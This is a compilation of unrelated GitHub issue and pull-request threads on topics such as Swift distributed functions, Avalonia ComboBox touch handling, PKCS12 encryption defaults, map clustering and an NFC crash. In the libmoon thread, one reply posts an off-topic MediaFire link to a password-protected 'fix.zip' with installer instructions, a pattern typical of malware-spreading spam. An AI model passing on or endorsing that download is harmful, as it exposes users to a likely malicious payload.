I think to begin with adding support for colors would be good.
Are you interested in tackling this?


[Distributed] PoC using a property wrapper on distributed func param for validation

Test for how parameter property wrappers can be used to validate distributed func parameters.
Do note that we cannot throw in such position right now, so the only option for such validation would be to fatal error.
We could consider allowing throwing in such positions if it were really necessary perhaps

@swift-ci please smoke test

Let's run full suite before we merge to make sure that this works on iOS and other simulators.

@swift-ci please test

Yeah, gotta keep running full suites on distributed stuff I guess. Thank you for review!


ComboBox should react on PointerReleasedEvent instead of PointerPressedEvent

In Windows and also Linux the ComboBox react when the pointer is released not when it's pressed. Avalonia ComboBox should behave the same.
Now it's impossible to scroll with touch gestures in a ComboBox because the dropdown is closing as soon as is it touched.

Avalonia 0.9.4
I have found that I cannot select an item in a ComboBox dropdown using touch on a Raspberry Pi Linux app running in frame buffer mode. The same app runs fine under Linux X11 on the same hardware.
I can open the combo dropdown list normally using touch, but as soon as I touch an item in the list, the dropdown closes as though I had touched (moved focus to) another control outside the combobox.
Is this due to the bug described above?
Menus selections are working correctly using touch.

@aguahombre see https://github.com/AvaloniaUI/Avalonia/issues/3414


Example for Demo: OpenSSF Scorecard PR Comments

Example PR including bad security practices for a demo to the Boeing Open Source Program Office

This was a test. Is there. Any PR related to the OSS scorecard activation in the repository?

This was a test. Is there. Any PR related to the OSS scorecard activation in the repository?

https://github.com/Boeing/config-file-validator/pull/151


#289 - filter asg by propagated tag value

Allows for filtering based on tag value of a propagated tag

can you re push this branch, the ci system isn't finding the revision, also as i mentioned to kit, don't worry about rebasing, i've given up on it in favor of the squash and merge for now.


Can't get mod list

Web version can't check for item mods, it's just ignores them

@Lavalierre Are you sure that you are using CTRL + ALT + C instead of regular CTRL + C?


[UX] Tile layout: Add asset properties

Tile layout for informing users to add asset properties to the widget added to the canvas.
Refer -
Doc - https://quip-amazon.com/5U2EAtnId09B/Centurion-UX-Pre-GA
Design - https://www.figma.com/file/pmsbdMcD7ieVWRFMNxStIi/VoT--AppKit-%26-Centurion?type=design&node-id=348%3A423854&mode=design&t=1zPNBiyI9sH6mezN-1

duplicate https://github.com/awslabs/iot-app-kit/issues/1919


Fix incorrect version requirement in the SCons compilation DB comment

See https://github.com/godotengine/godot/issues/39883#issuecomment-770830415.
I've also added compile_commands.json so it appears in full-text searches.

Thanks!

Cherry-picked for 3.2.4.


Use recent encrpytion algorithm for PKCS12 exports

The algorithms used to generate the PKCS12 export containers have changed between recent OpenSSL versions.
The default install on buster still uses RC2 based encryption but current client OS systems deny to install such containers due to security policies.

Changed PKCS12 export routines to use fixed algorithms, the new default is now AES-128-CBC/PBE-SHA1-DES which should work on most recent systems. A new key format "PKCS12_LEGACY" was also added to support legacy systems (uses PBE-SHA1-RC2-40).


Allow customization so 2 items can be clustered as well

I am using the Clustering Composable for  clustering my items. From my testing, it only clusters when there are 4 or more items. Is it possible to customize this? For my use case, it makes sense it starts clustering at 2. This is because when the map is zoomed out, it can look like only 1 item is on the map, while there are 2. These items are really close to each other.

@kikoso I see the parameter, I think it would work if I can construct the DefaultClusteringRenderer with that parameter. However, the new parameter introduced in the linked PR accepts a constructed renderer. The DefaultClusteringRenderer is now created with the MapEffect and with a context. How would I construct a DefaultClusteringRenderer on my own? Wouldn't it be useful to have the parameter as a closure so users can customize it easier?


BUGFIX #18045: fix for gulp main-bower-files injection issue

Gulp main-bower-files auto injection issue as it css path is missing in bower.json.
Fixes #18045.

Closing for the same reasons as #18045.


node-sass 4.13.1

I was having trouble getting yarn install to work locally without this upgrade.

Hey! We're deprecating this repository hence why this PR hasn't been merged. I just updated the readme. Thanks for the PR.


SpoolWriter no longer using System.Configuration or System.Web.Configuration

The spool writer is encoding agnostic (it send the string as to the spool page that in turns just grabs the string's bytes)
Encoding has to be overridden on TextWriter which SpoolWriter inherits from; now the property throws a new NotSupportedException()
Added a unit test to illustrate the behaviour

This is one small step towards a System.Web free Spark.


Code samples need better documentation

We need a high level overview of the code sample architecture and the reasons behind it, particularly focussing on the lock-free, multi-threaded nature of the library.

Related feedback from Glenn:
Code samples is in bullet list on home page, but not in the top nav bar.
You also lose context if you click on it, and it only points to one set of our code samples.
(remember it will not scale to require all samples to reside in the same github)
I suggest:

make structure by adding a Code samples / Code / Sample to nav bar
that page should have (initially) one link that starts a new browser tab so you don't lose context if you click on it
later we can links to the other code samples that are not in that github

Code samples have all changed and have better docs now


refactored save file approach to store only data that is needed and d…

Refactored save file approach to store only data that is needed.
Dynamic data can now be changed dynamically in the file.

as part of https://github.com/h4rdmol/ProgressionSystem/pull/18/commits/b97335961cd1caace32e80c34e21b636ba804a8c  added fix for data asset not loaded


Changes for the obstacles in yaml file

Changes for the Obstacles in yaml file.

Changed the object definition and readme file.

Updated the code as per the review requested. Please confirm if it's okay to merge now..


Make map include Australia!

As of #115 the contributors map is officially not expansive enough.. I started this then a baby started crying and @apeltzer beat me to it in #118. But I prefer my version 😉
Instead of this:

This:

The baby didnt like @apeltzer version either?

Done?

Also fixed a typo in the YAML that meant that the RBG description (not descripton) wasn't loading.

Done!


Is it possible to return the invalidated Table names?

Summary of the issue
We have 2 server the only common point is the dbcontext. If we invalidate the data on server A, the server B doesnt know about it.
If you could return the invalidated tablenames, than we could invalidate on server B.
Is there any code realted to this issue or any idea how to do it?
Environment
.NET (Core) SDK version:
Microsoft.EntityFrameworkCore version:
EFCoreSecondLevelCacheInterceptor version:
Database: (e.g. SQL Server, SQLite, etc.)
Cache provider: (e.g. in-memory, redis, etc.)

Example code/Steps to reproduce:
paste your core code

Output:
Exception message:
Full Stack trace:

Yes, but how can i invalidate if I dont invalidate by myself. It is done via your package. I want to know that in the query which tables are part of the query and then i want to send it to the server B. if that makes sense. I know i can manually invalidate. but in our project we dont do it manually.
Best regards.

You should invalidate it manually in your scenario. You should inject the IEFCacheServiceProvider service somewhere in your code and then call its InvalidateCacheDependencies method yourself.


fix: use /proc/self/fd instead of /dev/fd

Looks like /dev/fd is not available in the agent environment of Sidero.
Signed-off-by: Andrey Smirnov<EMAIL_ADDRESS>

/m --ff


add existing row to unique constraint failure

Cherry-picked these test changes here: #384 384

This bike shed is going to be so dope


Multi-Objective Stein Variational Gradient Descent

Has the Multi Objective Stein Variational Gradient Descent not been fully implemented yet? I noticed that get_ svgd_gradient has been commented out in https://github.com/xzhang2523/libmoon/blob/3aa84700ea3eef47b88c081ca32211b5284de702/libmoon/solver/gradient/methods/moosvgd.py#L4.  And how should this algorithm be applied to neural networks?

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme In the installer menu, select "gcc."
I didn't see this download directory after downloading, only two unknown

Yes. LibMOON supports neural networks for MOO-SVGD. We use get alpha_arr (the coefficients of MOO-SVGD gradients) instead of directly manipulating gradients (since it is slow).
Considering using "https://github.com/xzhang2523/libmoon/blob/main/libmoon/tester/run_mtl_discrete.py" and set solver-name="moosvgd" to run moosvgd for neural networks.

Thank you very much. I feel that you have already identified the differences between these methods and directly unified the gradient calculation, naming it the Jacobian matrix. I will carefully study your code again, as I have not delved so deeply into it before.

这是来自QQ邮箱的自动回复邮件。您好，我已经收到您的邮件~欢迎下次再邮~


@surrealdb/node package is not available on npm

@surrealdb/node package is not available on NPM which is mentioned in the readme. The package should be updated and published on NPM with every new Surrealdb release.

Package is now published as @surrealdb/node on NPM! 😃 🚀 🎉


Enable NFC causes NPE crash issues

Current Behaviour
Upon NFC Scanning, Null Pointer Exception causes crash
Expected Behaviour
No Null Pointer Exceptions when nfc scanning
Steps to Reproduce the Problem

Go to NFC Mode
Scan MRZ
Test NFC, sometimes when resuming NFC screen crash happens

Context
Firebase crash reference:

After further investigation and testing this does not happen anymore.
Closing issue and fix can be found in this commit 343ee321f94dbca7ab226fd90a2a552d6ca27c3e